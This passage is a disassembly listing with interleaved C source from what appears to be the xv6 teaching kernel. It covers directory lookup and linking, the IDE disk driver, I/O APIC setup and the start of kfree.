8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi iunlock(ip); 80101dc0: 83 ec 0c sub $0xc,%esp 80101dc3: 56 push %esi 80101dc4: e8 97 f9 ff ff call 80101760 <iunlock> iput(ip); 80101dc9: 89 34 24 mov %esi,(%esp) return 0; 80101dcc: 31 f6 xor %esi,%esi iput(ip); 80101dce: e8 dd f9 ff ff call 801017b0 <iput> return 0; 80101dd3: 83 c4 10 add $0x10,%esp } 80101dd6: 8d 65 f4 lea -0xc(%ebp),%esp 80101dd9: 89 f0 mov %esi,%eax 80101ddb: 5b pop %ebx 80101ddc: 5e pop %esi 80101ddd: 5f pop %edi 80101dde: 5d pop %ebp 80101ddf: c3 ret ip = iget(ROOTDEV, ROOTINO); 80101de0: ba 01 00 00 00 mov $0x1,%edx 80101de5: b8 01 00 00 00 mov $0x1,%eax 80101dea: e8 a1 f4 ff ff call 80101290 <iget> 80101def: 89 c6 mov %eax,%esi 80101df1: e9 b5 fe ff ff jmp 80101cab <namex+0x4b> iunlock(ip); 80101df6: 83 ec 0c sub $0xc,%esp 80101df9: 56 push %esi 80101dfa: e8 61 f9 ff ff call 80101760 <iunlock> return ip; 80101dff: 83 c4 10 add $0x10,%esp } 80101e02: 8d 65 f4 lea -0xc(%ebp),%esp 80101e05: 89 f0 mov %esi,%eax 80101e07: 5b pop %ebx 80101e08: 5e pop %esi 80101e09: 5f pop %edi 80101e0a: 5d pop %ebp 80101e0b: c3 ret iput(ip); 80101e0c: 83 ec 0c sub $0xc,%esp 80101e0f: 56 push %esi return 0; 80101e10: 31 f6 xor %esi,%esi iput(ip); 80101e12: e8 99 f9 ff ff call 801017b0 <iput> return 0; 80101e17: 83 c4 10 add $0x10,%esp 80101e1a: eb 93 jmp 80101daf <namex+0x14f> 80101e1c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101e20 <dirlink>: { 80101e20: 55 push %ebp 80101e21: 89 e5 mov %esp,%ebp 80101e23: 57 push %edi 80101e24: 56 push %esi 80101e25: 53 push %ebx 80101e26: 83 ec 20 sub $0x20,%esp 80101e29: 8b 5d 08 mov 0x8(%ebp),%ebx if((ip = dirlookup(dp, name, 0)) != 0){ 80101e2c: 6a 00 push $0x0 80101e2e: ff 75 0c pushl 0xc(%ebp) 80101e31: 53 push %ebx 80101e32: e8 79 fd ff ff call 80101bb0 <dirlookup> 80101e37: 83 c4 10 add $0x10,%esp 80101e3a: 85 c0 test %eax,%eax 80101e3c: 75 67 jne 80101ea5 <dirlink+0x85> for(off = 0; off < dp->size; off += sizeof(de)){ 80101e3e: 8b 7b 58 mov 0x58(%ebx),%edi 80101e41: 8d 75 d8 lea -0x28(%ebp),%esi 80101e44: 85 ff test %edi,%edi 80101e46: 74 29 je 80101e71 <dirlink+0x51> 80101e48: 31 ff xor %edi,%edi 80101e4a: 8d 75 d8 lea -0x28(%ebp),%esi 80101e4d: eb 09 jmp 80101e58 <dirlink+0x38> 80101e4f: 90 nop 80101e50: 83 c7 10 add $0x10,%edi 80101e53: 3b 7b 58 cmp 0x58(%ebx),%edi 80101e56: 73 19 jae 80101e71 <dirlink+0x51> if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80101e58: 6a 10 push $0x10 80101e5a: 57 push %edi 80101e5b: 56 push %esi 80101e5c: 53 push %ebx 80101e5d: e8 fe fa ff ff call 80101960 <readi> 80101e62: 83 c4 10 add $0x10,%esp 80101e65: 83 f8 10 cmp $0x10,%eax 80101e68: 75 4e jne 80101eb8 <dirlink+0x98> if(de.inum == 0) 80101e6a: 66 83 7d d8 00 cmpw $0x0,-0x28(%ebp) 80101e6f: 75 df jne 80101e50 <dirlink+0x30> strncpy(de.name, name, DIRSIZ); 80101e71: 8d 45 da lea -0x26(%ebp),%eax 80101e74: 83 ec 04 sub $0x4,%esp 80101e77: 6a 0e push $0xe 80101e79: ff 75 0c pushl 0xc(%ebp) 80101e7c: 50 push %eax 80101e7d: e8 5e 2a 00 00 call 801048e0 <strncpy> de.inum = inum; 80101e82: 8b 45 10 mov 0x10(%ebp),%eax if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80101e85: 6a 10 push $0x10 80101e87: 57 push %edi 80101e88: 56 push %esi 80101e89: 53 push %ebx de.inum = inum; 80101e8a: 66 89 45 d8 mov %ax,-0x28(%ebp) if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80101e8e: e8 cd fb ff ff call 80101a60 <writei> 80101e93: 83 c4 20 add $0x20,%esp 80101e96: 83 f8 10 cmp $0x10,%eax 80101e99: 75 2a jne 80101ec5 <dirlink+0xa5> return 0; 80101e9b: 31 c0 xor %eax,%eax } 80101e9d: 8d 65 f4 lea -0xc(%ebp),%esp 80101ea0: 5b pop %ebx 80101ea1: 5e pop %esi 80101ea2: 5f pop %edi 80101ea3: 5d pop %ebp 80101ea4: c3 ret iput(ip); 80101ea5: 83 ec 0c sub $0xc,%esp 80101ea8: 50 push %eax 80101ea9: e8 02 f9 ff ff call 801017b0 <iput> return -1; 80101eae: 83 c4 10 add $0x10,%esp 80101eb1: b8 ff ff ff ff mov $0xffffffff,%eax 80101eb6: eb e5 jmp 80101e9d <dirlink+0x7d> panic("dirlink read"); 80101eb8: 83 ec 0c sub $0xc,%esp 80101ebb: 68 48 73 10 80 push $0x80107348 80101ec0: e8 cb e4 ff ff call 80100390 <panic> panic("dirlink"); 80101ec5: 83 ec 0c sub $0xc,%esp 80101ec8: 68 62 7a 10 80 push $0x80107a62 80101ecd: e8 be e4 ff ff call 80100390 <panic> 80101ed2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80101ed9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80101ee0 <namei>: struct inode* namei(char *path) { 80101ee0: 55 push %ebp char name[DIRSIZ]; return namex(path, 0, name); 80101ee1: 31 d2 xor %edx,%edx { 80101ee3: 89 e5 mov %esp,%ebp 80101ee5: 83 ec 18 sub $0x18,%esp return namex(path, 0, name); 80101ee8: 8b 45 08 mov 0x8(%ebp),%eax 80101eeb: 8d 4d ea lea -0x16(%ebp),%ecx 80101eee: e8 6d fd ff ff call 80101c60 <namex> } 80101ef3: c9 leave 80101ef4: c3 ret 80101ef5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101ef9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80101f00 <nameiparent>: struct inode* nameiparent(char *path, char *name) { 80101f00: 55 push %ebp return namex(path, 1, name); 80101f01: ba 01 00 00 00 mov $0x1,%edx { 80101f06: 89 e5 mov %esp,%ebp return namex(path, 1, name); 80101f08: 8b 4d 0c mov 0xc(%ebp),%ecx 80101f0b: 8b 45 08 mov 0x8(%ebp),%eax } 80101f0e: 5d pop %ebp return namex(path, 1, name); 80101f0f: e9 4c fd ff ff jmp 80101c60 <namex> 80101f14: 66 90 xchg %ax,%ax 80101f16: 66 90 xchg %ax,%ax 80101f18: 66 90 xchg %ax,%ax 80101f1a: 66 90 xchg %ax,%ax 80101f1c: 66 90 xchg %ax,%ax 80101f1e: 66 90 xchg %ax,%ax 80101f20 <idestart>: } // Start the request for b. Caller must hold idelock. static void idestart(struct buf *b) { 80101f20: 55 push %ebp 80101f21: 89 e5 mov %esp,%ebp 80101f23: 57 push %edi 80101f24: 56 push %esi 80101f25: 53 push %ebx 80101f26: 83 ec 0c sub $0xc,%esp if(b == 0) 80101f29: 85 c0 test %eax,%eax 80101f2b: 0f 84 b4 00 00 00 je 80101fe5 <idestart+0xc5> panic("idestart"); if(b->blockno >= FSSIZE) 80101f31: 8b 58 08 mov 0x8(%eax),%ebx 80101f34: 89 c6 mov %eax,%esi 80101f36: 81 fb e7 03 00 00 cmp $0x3e7,%ebx 80101f3c: 0f 87 96 00 00 00 ja 80101fd8 <idestart+0xb8> asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80101f42: b9 f7 01 00 00 mov $0x1f7,%ecx 80101f47: 89 f6 mov %esi,%esi 80101f49: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80101f50: 89 ca mov %ecx,%edx 80101f52: ec in (%dx),%al while(((r = inb(0x1f7)) & (IDE_BSY|IDE_DRDY)) != IDE_DRDY) 80101f53: 83 e0 c0 and $0xffffffc0,%eax 80101f56: 3c 40 cmp $0x40,%al 80101f58: 75 f6 jne 80101f50 <idestart+0x30> asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80101f5a: 31 ff xor %edi,%edi 80101f5c: ba f6 03 00 00 mov $0x3f6,%edx 80101f61: 89 f8 mov %edi,%eax 80101f63: ee out %al,(%dx) 80101f64: b8 01 00 00 00 mov $0x1,%eax 80101f69: ba f2 01 00 00 mov $0x1f2,%edx 80101f6e: ee out %al,(%dx) 80101f6f: ba f3 01 00 00 mov $0x1f3,%edx 80101f74: 89 d8 mov %ebx,%eax 80101f76: ee out %al,(%dx) idewait(0); outb(0x3f6, 0); // generate interrupt outb(0x1f2, sector_per_block); // number of sectors outb(0x1f3, sector & 0xff); outb(0x1f4, (sector >> 8) & 0xff); 80101f77: 89 d8 mov %ebx,%eax 80101f79: ba f4 01 00 00 mov $0x1f4,%edx 80101f7e: c1 f8 08 sar $0x8,%eax 80101f81: ee out %al,(%dx) 80101f82: ba f5 01 00 00 mov $0x1f5,%edx 80101f87: 89 f8 mov %edi,%eax 80101f89: ee out %al,(%dx) outb(0x1f5, (sector >> 16) & 0xff); outb(0x1f6, 0xe0 | ((b->dev&1)<<4) | ((sector>>24)&0x0f)); 80101f8a: 0f b6 46 04 movzbl 0x4(%esi),%eax 80101f8e: ba f6 01 00 00 mov $0x1f6,%edx 80101f93: c1 e0 04 shl $0x4,%eax 80101f96: 83 e0 10 and $0x10,%eax 80101f99: 83 c8 e0 or $0xffffffe0,%eax 80101f9c: ee out %al,(%dx) if(b->flags & B_DIRTY){ 80101f9d: f6 06 04 testb $0x4,(%esi) 80101fa0: 75 16 jne 80101fb8 <idestart+0x98> 80101fa2: b8 20 00 00 00 mov $0x20,%eax 80101fa7: 89 ca mov %ecx,%edx 80101fa9: ee out %al,(%dx) outb(0x1f7, write_cmd); outsl(0x1f0, b->data, BSIZE/4); } else { outb(0x1f7, read_cmd); } } 80101faa: 8d 65 f4 lea -0xc(%ebp),%esp 80101fad: 5b pop %ebx 80101fae: 5e pop %esi 80101faf: 5f pop %edi 80101fb0: 5d pop %ebp 80101fb1: c3 ret 80101fb2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80101fb8: b8 30 00 00 00 mov $0x30,%eax 80101fbd: 89 ca mov %ecx,%edx 80101fbf: ee out %al,(%dx) asm volatile("cld; rep outsl" : 80101fc0: b9 80 00 00 00 mov $0x80,%ecx outsl(0x1f0, b->data, BSIZE/4); 80101fc5: 83 c6 5c add $0x5c,%esi 80101fc8: ba f0 01 00 00 mov $0x1f0,%edx 80101fcd: fc cld 80101fce: f3 6f rep outsl %ds:(%esi),(%dx) } 80101fd0: 8d 65 f4 lea -0xc(%ebp),%esp 80101fd3: 5b pop %ebx 80101fd4: 5e pop %esi 80101fd5: 5f pop %edi 80101fd6: 5d pop %ebp 80101fd7: c3 ret panic("incorrect blockno"); 80101fd8: 83 ec 0c sub $0xc,%esp 80101fdb: 68 b4 73 10 80 push $0x801073b4 80101fe0: e8 ab e3 ff ff call 80100390 <panic> panic("idestart"); 80101fe5: 83 ec 0c sub $0xc,%esp 80101fe8: 68 ab 73 10 80 push $0x801073ab 80101fed: e8 9e e3 ff ff call 80100390 <panic> 80101ff2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80101ff9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102000 <ideinit>: { 80102000: 55 push %ebp 80102001: 89 e5 mov %esp,%ebp 80102003: 83 ec 10 sub $0x10,%esp initlock(&idelock, "ide"); 80102006: 68 c6 73 10 80 push $0x801073c6 8010200b: 68 80 a5 10 80 push $0x8010a580 80102010: e8 fb 24 00 00 call 80104510 <initlock> ioapicenable(IRQ_IDE, ncpu - 1); 80102015: 58 pop %eax 80102016: a1 00 2d 11 80 mov 0x80112d00,%eax 8010201b: 5a pop %edx 8010201c: 83 e8 01 sub $0x1,%eax 8010201f: 50 push %eax 80102020: 6a 0e push $0xe 80102022: e8 a9 02 00 00 call 801022d0 <ioapicenable> 80102027: 83 c4 10 add $0x10,%esp asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 8010202a: ba f7 01 00 00 mov $0x1f7,%edx 8010202f: 90 nop 80102030: ec in (%dx),%al while(((r = inb(0x1f7)) & (IDE_BSY|IDE_DRDY)) != IDE_DRDY) 80102031: 83 e0 c0 and $0xffffffc0,%eax 80102034: 3c 40 cmp $0x40,%al 80102036: 75 f8 jne 80102030 <ideinit+0x30> asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102038: b8 f0 ff ff ff mov $0xfffffff0,%eax 8010203d: ba f6 01 00 00 mov $0x1f6,%edx 80102042: ee out %al,(%dx) 80102043: b9 e8 03 00 00 mov $0x3e8,%ecx asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102048: ba f7 01 00 00 mov $0x1f7,%edx 8010204d: eb 06 jmp 80102055 <ideinit+0x55> 8010204f: 90 nop for(i=0; i<1000; i++){ 80102050: 83 e9 01 sub $0x1,%ecx 80102053: 74 0f je 80102064 <ideinit+0x64> 80102055: ec in (%dx),%al if(inb(0x1f7) != 0){ 80102056: 84 c0 test %al,%al 80102058: 74 f6 je 80102050 <ideinit+0x50> havedisk1 = 1; 8010205a: c7 05 60 a5 10 80 01 movl $0x1,0x8010a560 80102061: 00 00 00 asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102064: b8 e0 ff ff ff mov $0xffffffe0,%eax 80102069: ba f6 01 00 00 mov $0x1f6,%edx 8010206e: ee out %al,(%dx) } 8010206f: c9 leave 80102070: c3 ret 80102071: eb 0d jmp 80102080 <ideintr> 80102073: 90 nop 80102074: 90 nop 80102075: 90 nop 80102076: 90 nop 80102077: 90 nop 80102078: 90 nop 80102079: 90 nop 8010207a: 90 nop 8010207b: 90 nop 8010207c: 90 nop 8010207d: 90 nop 8010207e: 90 nop 8010207f: 90 nop 80102080 <ideintr>: // Interrupt handler. void ideintr(void) { 80102080: 55 push %ebp 80102081: 89 e5 mov %esp,%ebp 80102083: 57 push %edi 80102084: 56 push %esi 80102085: 53 push %ebx 80102086: 83 ec 18 sub $0x18,%esp struct buf *b; // First queued buffer is the active request. acquire(&idelock); 80102089: 68 80 a5 10 80 push $0x8010a580 8010208e: e8 bd 25 00 00 call 80104650 <acquire> if((b = idequeue) == 0){ 80102093: 8b 1d 64 a5 10 80 mov 0x8010a564,%ebx 80102099: 83 c4 10 add $0x10,%esp 8010209c: 85 db test %ebx,%ebx 8010209e: 74 67 je 80102107 <ideintr+0x87> release(&idelock); return; } idequeue = b->qnext; 801020a0: 8b 43 58 mov 0x58(%ebx),%eax 801020a3: a3 64 a5 10 80 mov %eax,0x8010a564 // Read data if needed. if(!(b->flags & B_DIRTY) && idewait(1) >= 0) 801020a8: 8b 3b mov (%ebx),%edi 801020aa: f7 c7 04 00 00 00 test $0x4,%edi 801020b0: 75 31 jne 801020e3 <ideintr+0x63> asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 801020b2: ba f7 01 00 00 mov $0x1f7,%edx 801020b7: 89 f6 mov %esi,%esi 801020b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801020c0: ec in (%dx),%al while(((r = inb(0x1f7)) & (IDE_BSY|IDE_DRDY)) != IDE_DRDY) 801020c1: 89 c6 mov %eax,%esi 801020c3: 83 e6 c0 and $0xffffffc0,%esi 801020c6: 89 f1 mov %esi,%ecx 801020c8: 80 f9 40 cmp $0x40,%cl 801020cb: 75 f3 jne 801020c0 <ideintr+0x40> if(checkerr && (r & (IDE_DF|IDE_ERR)) != 0) 801020cd: a8 21 test $0x21,%al 801020cf: 75 12 jne 801020e3 <ideintr+0x63> insl(0x1f0, b->data, BSIZE/4); 801020d1: 8d 7b 5c lea 0x5c(%ebx),%edi asm volatile("cld; rep insl" : 801020d4: b9 80 00 00 00 mov $0x80,%ecx 801020d9: ba f0 01 00 00 mov $0x1f0,%edx 801020de: fc cld 801020df: f3 6d rep insl (%dx),%es:(%edi) 801020e1: 8b 3b mov (%ebx),%edi // Wake process waiting for this buf. b->flags |= B_VALID; b->flags &= ~B_DIRTY; 801020e3: 83 e7 fb and $0xfffffffb,%edi wakeup(b); 801020e6: 83 ec 0c sub $0xc,%esp b->flags &= ~B_DIRTY; 801020e9: 89 f9 mov %edi,%ecx 801020eb: 83 c9 02 or $0x2,%ecx 801020ee: 89 0b mov %ecx,(%ebx) wakeup(b); 801020f0: 53 push %ebx 801020f1: e8 8a 20 00 00 call 80104180 <wakeup> // Start disk on next buf in queue. if(idequeue != 0) 801020f6: a1 64 a5 10 80 mov 0x8010a564,%eax 801020fb: 83 c4 10 add $0x10,%esp 801020fe: 85 c0 test %eax,%eax 80102100: 74 05 je 80102107 <ideintr+0x87> idestart(idequeue); 80102102: e8 19 fe ff ff call 80101f20 <idestart> release(&idelock); 80102107: 83 ec 0c sub $0xc,%esp 8010210a: 68 80 a5 10 80 push $0x8010a580 8010210f: e8 fc 25 00 00 call 80104710 <release> release(&idelock); } 80102114: 8d 65 f4 lea -0xc(%ebp),%esp 80102117: 5b pop %ebx 80102118: 5e pop %esi 80102119: 5f pop %edi 8010211a: 5d pop %ebp 8010211b: c3 ret 8010211c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102120 <iderw>: // Sync buf with disk. // If B_DIRTY is set, write buf to disk, clear B_DIRTY, set B_VALID. // Else if B_VALID is not set, read buf from disk, set B_VALID. void iderw(struct buf *b) { 80102120: 55 push %ebp 80102121: 89 e5 mov %esp,%ebp 80102123: 53 push %ebx 80102124: 83 ec 10 sub $0x10,%esp 80102127: 8b 5d 08 mov 0x8(%ebp),%ebx struct buf **pp; if(!holdingsleep(&b->lock)) 8010212a: 8d 43 0c lea 0xc(%ebx),%eax 8010212d: 50 push %eax 8010212e: e8 8d 23 00 00 call 801044c0 <holdingsleep> 80102133: 83 c4 10 add $0x10,%esp 80102136: 85 c0 test %eax,%eax 80102138: 0f 84 c6 00 00 00 je 80102204 <iderw+0xe4> panic("iderw: buf not locked"); if((b->flags & (B_VALID|B_DIRTY)) == B_VALID) 8010213e: 8b 03 mov (%ebx),%eax 80102140: 83 e0 06 and $0x6,%eax 80102143: 83 f8 02 cmp $0x2,%eax 80102146: 0f 84 ab 00 00 00 je 801021f7 <iderw+0xd7> panic("iderw: nothing to do"); if(b->dev != 0 && !havedisk1) 8010214c: 8b 53 04 mov 0x4(%ebx),%edx 8010214f: 85 d2 test %edx,%edx 80102151: 74 0d je 80102160 <iderw+0x40> 80102153: a1 60 a5 10 80 mov 0x8010a560,%eax 80102158: 85 c0 test %eax,%eax 8010215a: 0f 84 b1 00 00 00 je 80102211 <iderw+0xf1> panic("iderw: ide disk 1 not present"); acquire(&idelock); //DOC:acquire-lock 80102160: 83 ec 0c sub $0xc,%esp 80102163: 68 80 a5 10 80 push $0x8010a580 80102168: e8 e3 24 00 00 call 80104650 <acquire> // Append b to idequeue. b->qnext = 0; for(pp=&idequeue; *pp; pp=&(*pp)->qnext) //DOC:insert-queue 8010216d: 8b 15 64 a5 10 80 mov 0x8010a564,%edx 80102173: 83 c4 10 add $0x10,%esp b->qnext = 0; 80102176: c7 43 58 00 00 00 00 movl $0x0,0x58(%ebx) for(pp=&idequeue; *pp; pp=&(*pp)->qnext) //DOC:insert-queue 8010217d: 85 d2 test %edx,%edx 8010217f: 75 09 jne 8010218a <iderw+0x6a> 80102181: eb 6d jmp 801021f0 <iderw+0xd0> 80102183: 90 nop 80102184: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102188: 89 c2 mov %eax,%edx 8010218a: 8b 42 58 mov 0x58(%edx),%eax 8010218d: 85 c0 test %eax,%eax 8010218f: 75 f7 jne 80102188 <iderw+0x68> 80102191: 83 c2 58 add $0x58,%edx ; *pp = b; 80102194: 89 1a mov %ebx,(%edx) // Start disk if necessary. if(idequeue == b) 80102196: 39 1d 64 a5 10 80 cmp %ebx,0x8010a564 8010219c: 74 42 je 801021e0 <iderw+0xc0> idestart(b); // Wait for request to finish. while((b->flags & (B_VALID|B_DIRTY)) != B_VALID){ 8010219e: 8b 03 mov (%ebx),%eax 801021a0: 83 e0 06 and $0x6,%eax 801021a3: 83 f8 02 cmp $0x2,%eax 801021a6: 74 23 je 801021cb <iderw+0xab> 801021a8: 90 nop 801021a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi sleep(b, &idelock); 801021b0: 83 ec 08 sub $0x8,%esp 801021b3: 68 80 a5 10 80 push $0x8010a580 801021b8: 53 push %ebx 801021b9: e8 02 1e 00 00 call 80103fc0 <sleep> while((b->flags & (B_VALID|B_DIRTY)) != B_VALID){ 801021be: 8b 03 mov (%ebx),%eax 801021c0: 83 c4 10 add $0x10,%esp 801021c3: 83 e0 06 and $0x6,%eax 801021c6: 83 f8 02 cmp $0x2,%eax 801021c9: 75 e5 jne 801021b0 <iderw+0x90> } release(&idelock); 801021cb: c7 45 08 80 a5 10 80 movl $0x8010a580,0x8(%ebp) } 801021d2: 8b 5d fc mov -0x4(%ebp),%ebx 801021d5: c9 leave release(&idelock); 801021d6: e9 35 25 00 00 jmp 80104710 <release> 801021db: 90 nop 801021dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi idestart(b); 801021e0: 89 d8 mov %ebx,%eax 801021e2: e8 39 fd ff ff call 80101f20 <idestart> 801021e7: eb b5 jmp 8010219e <iderw+0x7e> 801021e9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi for(pp=&idequeue; *pp; pp=&(*pp)->qnext) //DOC:insert-queue 801021f0: ba 64 a5 10 80 mov $0x8010a564,%edx 801021f5: eb 9d jmp 80102194 <iderw+0x74> panic("iderw: nothing to do"); 801021f7: 83 ec 0c sub $0xc,%esp 801021fa: 68 e0 73 10 80 push $0x801073e0 801021ff: e8 8c e1 ff ff call 80100390 <panic> panic("iderw: buf not locked"); 80102204: 83 ec 0c sub $0xc,%esp 80102207: 68 ca 73 10 80 push $0x801073ca 8010220c: e8 7f e1 ff ff call 80100390 <panic> panic("iderw: ide disk 1 not present"); 80102211: 83 ec 0c sub $0xc,%esp 80102214: 68 f5 73 10 80 push $0x801073f5 80102219: e8 72 e1 ff ff call 80100390 <panic> 8010221e: 66 90 xchg %ax,%ax 80102220 <ioapicinit>: ioapic->data = data; } void ioapicinit(void) { 80102220: 55 push %ebp int i, id, maxintr; ioapic = (volatile struct ioapic*)IOAPIC; 80102221: c7 05 34 26 11 80 00 movl $0xfec00000,0x80112634 80102228: 00 c0 fe { 8010222b: 89 e5 mov %esp,%ebp 8010222d: 56 push %esi 8010222e: 53 push %ebx ioapic->reg = reg; 8010222f: c7 05 00 00 c0 fe 01 movl $0x1,0xfec00000 80102236: 00 00 00 return ioapic->data; 80102239: a1 34 26 11 80 mov 0x80112634,%eax 8010223e: 8b 58 10 mov 0x10(%eax),%ebx ioapic->reg = reg; 80102241: c7 00 00 00 00 00 movl $0x0,(%eax) return ioapic->data; 80102247: 8b 0d 34 26 11 80 mov 0x80112634,%ecx maxintr = (ioapicread(REG_VER) >> 16) & 0xFF; id = ioapicread(REG_ID) >> 24; if(id != ioapicid) 8010224d: 0f b6 15 60 27 11 80 movzbl 0x80112760,%edx maxintr = (ioapicread(REG_VER) >> 16) & 0xFF; 80102254: c1 eb 10 shr $0x10,%ebx return ioapic->data; 80102257: 8b 41 10 mov 0x10(%ecx),%eax maxintr = (ioapicread(REG_VER) >> 16) & 0xFF; 8010225a: 0f b6 db movzbl %bl,%ebx id = ioapicread(REG_ID) >> 24; 8010225d: c1 e8 18 shr $0x18,%eax if(id != ioapicid) 80102260: 39 c2 cmp %eax,%edx 80102262: 74 16 je 8010227a <ioapicinit+0x5a> cprintf("ioapicinit: id isn't equal to ioapicid; not a MP\n"); 80102264: 83 ec 0c sub $0xc,%esp 80102267: 68 14 74 10 80 push $0x80107414 8010226c: e8 ef e3 ff ff call 80100660 <cprintf> 80102271: 8b 0d 34 26 11 80 mov 0x80112634,%ecx 80102277: 83 c4 10 add $0x10,%esp 8010227a: 83 c3 21 add $0x21,%ebx { 8010227d: ba 10 00 00 00 mov $0x10,%edx 80102282: b8 20 00 00 00 mov $0x20,%eax 80102287: 89 f6 mov %esi,%esi 80102289: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi ioapic->reg = reg; 80102290: 89 11 mov %edx,(%ecx) ioapic->data = data; 80102292: 8b 0d 34 26 11 80 mov 0x80112634,%ecx // Mark all interrupts edge-triggered, active high, disabled, // and not routed to any CPUs. for(i = 0; i <= maxintr; i++){ ioapicwrite(REG_TABLE+2*i, INT_DISABLED | (T_IRQ0 + i)); 80102298: 89 c6 mov %eax,%esi 8010229a: 81 ce 00 00 01 00 or $0x10000,%esi 801022a0: 83 c0 01 add $0x1,%eax ioapic->data = data; 801022a3: 89 71 10 mov %esi,0x10(%ecx) 801022a6: 8d 72 01 lea 0x1(%edx),%esi 801022a9: 83 c2 02 add $0x2,%edx for(i = 0; i <= maxintr; i++){ 801022ac: 39 d8 cmp %ebx,%eax ioapic->reg = reg; 801022ae: 89 31 mov %esi,(%ecx) ioapic->data = data; 801022b0: 8b 0d 34 26 11 80 mov 0x80112634,%ecx 801022b6: c7 41 10 00 00 00 00 movl $0x0,0x10(%ecx) for(i = 0; i <= maxintr; i++){ 801022bd: 75 d1 jne 80102290 <ioapicinit+0x70> ioapicwrite(REG_TABLE+2*i+1, 0); } } 801022bf: 8d 65 f8 lea -0x8(%ebp),%esp 801022c2: 5b pop %ebx 801022c3: 5e pop %esi 801022c4: 5d pop %ebp 801022c5: c3 ret 801022c6: 8d 76 00 lea 0x0(%esi),%esi 801022c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801022d0 <ioapicenable>: void ioapicenable(int irq, int cpunum) { 801022d0: 55 push %ebp ioapic->reg = reg; 801022d1: 8b 0d 34 26 11 80 mov 0x80112634,%ecx { 801022d7: 89 e5 mov %esp,%ebp 801022d9: 8b 45 08 mov 0x8(%ebp),%eax // Mark interrupt edge-triggered, active high, // enabled, and routed to the given cpunum, // which happens to be that cpu's APIC ID. ioapicwrite(REG_TABLE+2*irq, T_IRQ0 + irq); 801022dc: 8d 50 20 lea 0x20(%eax),%edx 801022df: 8d 44 00 10 lea 0x10(%eax,%eax,1),%eax ioapic->reg = reg; 801022e3: 89 01 mov %eax,(%ecx) ioapic->data = data; 801022e5: 8b 0d 34 26 11 80 mov 0x80112634,%ecx ioapicwrite(REG_TABLE+2*irq+1, cpunum << 24); 801022eb: 83 c0 01 add $0x1,%eax ioapic->data = data; 801022ee: 89 51 10 mov %edx,0x10(%ecx) ioapicwrite(REG_TABLE+2*irq+1, cpunum << 24); 801022f1: 8b 55 0c mov 0xc(%ebp),%edx ioapic->reg = reg; 801022f4: 89 01 mov %eax,(%ecx) ioapic->data = data; 801022f6: a1 34 26 11 80 mov 0x80112634,%eax ioapicwrite(REG_TABLE+2*irq+1, cpunum << 24); 801022fb: c1 e2 18 shl $0x18,%edx ioapic->data = data; 801022fe: 89 50 10 mov %edx,0x10(%eax) } 80102301: 5d pop %ebp 80102302: c3 ret 80102303: 66 90 xchg %ax,%ax 80102305: 66 90 xchg %ax,%ax 80102307: 66 90 xchg %ax,%ax 80102309: 66 90 xchg %ax,%ax 8010230b: 66 90 xchg %ax,%ax 8010230d: 66 90 xchg %ax,%ax 8010230f: 90 nop 80102310 <kfree>: // which normally should have been returned by a // call to kalloc(). (The exception is when // initializing the allocator; see kinit above.) void kfree(char *v) { 80102310: 55 push %ebp 80102311: 89 e5 mov %esp,%ebp 80102313: 53 push %ebx 80102314: 83 ec 04 sub $0x4,%esp 80102317: 8b 5d 08 mov 0x8(%ebp),%ebx struct run *r; if((uint)v % PGSIZE || v < end || V2P(v) >= PHYSTOP) 8010231a: f7 c3 ff 0f 00 00 test $0xfff,%ebx 80102320: 75 70 jne 80102392 <kfree+0x82> 80102322: 81 fb a8 57 11 80 cmp $0x801157a8,%ebx 80102328: 72 68 jb 80102392 <kfree+0x82> 8010232a: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax 80102330: 3d ff ff ff 0d cmp $0xdffffff,%eax 80102335: 77 5b ja 80102392 <kfree+0x82> panic("kfree"); // Fill with junk to catch dangling refs. memset(v, 1, PGSIZE); 80102337: 83 ec 04 sub $0x4,%esp 8010233a: 68 00 10 00 00 push $0x1000 8010233f: 6a 01 push $0x1 80102341: 53 push %ebx 80102342: e8 19 24 00 00 call 80104760 <memset> if(kmem.use_lock) 80102347: 8b 15 74 26 11 80 mov 0x80112674,%edx 8010234d: 83 c4 10 add $0x10,%esp 80102350: 85 d2 test %edx,%edx 80102352: 75 2c jne 80102380 <kfree+0x70> acquire(&kmem.lock); r = (struct run*)v; r->next = kmem.freelist; 80102354: a1 78 26 11 80 mov 0x80112678,%eax 80102359: 89 03 mov %eax,(%ebx) kmem.freelist = r; if(kmem.use_lock) 8010235b: a1 74 26 11 80 mov 0x80112674,%eax kmem.freelist = r; 80102360: 89 1d 78 26 11 80 mov %ebx,0x80112678 if(kmem.use_lock) 80102366: 85 c0 test %eax,%eax 80102368: 75 06 jne 80102370 <kfree+0x60> release(&kmem.lock); } 8010236a: 8b 5d fc mov -0x4(%ebp),%ebx 8010236d: c9 leave 8010236e: c3 